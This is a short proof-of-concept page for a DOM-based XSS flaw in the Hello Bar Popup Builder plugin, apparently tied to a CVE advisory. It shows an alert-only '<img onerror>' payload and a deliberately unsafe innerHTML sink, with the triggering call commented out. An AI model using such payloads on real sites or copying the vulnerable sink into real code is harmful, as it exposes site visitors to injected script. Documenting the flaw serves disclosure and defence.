CVE-2026-39666 Hello Bar Popup Builder DOM型XSS漏洞

<!-- PoC for CVE-2026-39666 DOM-based XSS Description: This script demonstrates how a payload could be injected into a vulnerable DOM element if input sanitization is missing. --> <script> // Simulate the vulnerable parameter from the URL // Example: https://target.com/?vulnerable_param=<img src=x onerror=alert(1)> let maliciousPayload = '<img src=x onerror=alert(\'CVE-2026-39666 XSS\')>'; // In a real vulnerable scenario, the plugin might take a parameter and // insert it directly into the DOM without using textContent or proper encoding. function vulnerableSink(input) { // VULNERABLE CODE PATTERN: Direct innerHTML assignment document.getElementById('hellobar-container').innerHTML = input; } // Execution simulation // This would execute the alert box in the victim's browser console.log("Attempting to trigger XSS..."); // vulnerableSink(maliciousPayload); </script> <div id="hellobar-container">Loading...</div>